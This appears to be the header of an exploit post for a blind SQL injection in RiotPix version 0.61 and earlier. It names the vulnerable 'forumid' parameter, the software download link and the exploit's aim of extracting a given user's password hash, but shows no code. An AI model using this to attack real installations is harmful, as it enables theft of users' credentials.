	RiotPix <= 0.61 (forumid) Blind SQL Injection Exploit
	Bug found && Exploited by cOndemned

	Download :

		http://www.riotpix.com/download/riotpix0_61.zip


	Description :

		It's just simple Blind SQL Injection exploit that gets
		password hash of given user. Code is really simple -
		without proxy, or error handling, but i don't think it is
		important, as long as the RiotPix isn't famous script...
